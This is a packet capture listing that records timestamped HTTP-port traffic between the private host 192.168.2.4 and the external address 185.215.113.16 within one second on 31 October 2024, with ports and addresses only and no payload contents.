Oct 31, 2024 23:37:18.658431053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658452988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658466101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658473015 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658477068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658488989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658499956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658510923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658521891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658523083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658523083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658534050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658545017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658557892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658560991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658576012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658580065 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658592939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658593893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658606052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658617020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658633947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658644915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658648014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658659935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658662081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658670902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658679008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658683062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658694029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658706903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658706903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658718109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658727884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658731937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.658773899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.658999920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659012079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659027100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659039021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659049034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659060001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659070969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659074068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659081936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659094095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659101009 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659104109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659111023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659120083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659122944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659133911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659143925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659161091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659171104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659174919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659182072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659193039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659193039 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659204960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659215927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659218073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659229994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659234047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659248114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659259081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659267902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659279108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659285069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659291983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659291983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659302950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659317970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659318924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659318924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659331083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659363985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659374952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659392118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659446001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659459114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659467936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659472942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659480095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659488916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659507036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659688950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659699917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659709930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659720898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659733057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659744024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659754992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659755945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659766912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659779072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659779072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659789085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659790039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659802914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659812927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659825087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659826040 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.659837008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.659849882 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660036087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660047054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660060883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660063028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660079002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660089016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660094023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660100937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660111904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660115957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660124063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660130024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660135984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660145998 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660146952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660160065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660170078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660171986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660181046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660192013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660201073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660203934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660213947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660223961 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660226107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660237074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660238028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660250902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660259008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660262108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660465956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660478115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660487890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660490990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660500050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660511017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660511971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660523891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660535097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660609961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660623074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660631895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660634995 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660645008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660655975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660655975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660669088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660677910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660681963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660690069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660737038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660748959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660763025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660825968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660836935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660846949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660850048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660859108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660871983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.660952091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660963058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660973072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.660976887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661041021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661052942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661063910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661067963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661076069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661083937 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661089897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661098957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661106110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661125898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661451101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661462069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661472082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661484003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661494970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661499023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661506891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661519051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661529064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661531925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661531925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661540985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661551952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661561966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661564112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661572933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661581993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661585093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661597967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661606073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661608934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661618948 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661621094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661643028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661767960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661780119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661791086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661802053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661808014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661813021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661819935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661825895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661848068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661901951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661917925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661925077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661935091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661946058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661955118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661958933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661967993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661978960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661982059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.661990881 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.661997080 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.662003994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.662014961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.662019014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.662028074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.662034988 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.662040949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.662055969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.662076950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663117886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663130045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663140059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663140059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663157940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663170099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663181067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663182020 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663192987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663202047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663283110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663294077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663304090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663306952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663322926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663324118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663336039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663348913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663360119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663362026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663377047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663378954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663402081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663412094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663414001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663424015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663434982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663439035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.663448095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.663470030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.666033983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.670770884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675640106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675652981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675664902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675709963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675720930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675730944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675736904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675744057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675765038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675765038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675842047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675853968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675863981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675873995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675884962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675894976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675901890 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675906897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675920010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675926924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675951004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.675976992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675987959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.675997019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676001072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676012993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676018000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676026106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676038027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676048040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676050901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676059008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676089048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676099062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676101923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676126957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676134109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676146984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676171064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676192999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676204920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676213026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676217079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676225901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676237106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676238060 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676343918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676356077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676367044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676368952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676378012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676388979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676390886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676399946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676410913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676414013 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676422119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676431894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676436901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676448107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676459074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676459074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676470995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676481962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676486969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676493883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676502943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676511049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676522017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676531076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676537991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676537991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676544905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676564932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676615953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676626921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676636934 CET	80	49739	185.215.113.16	192.168.2.4
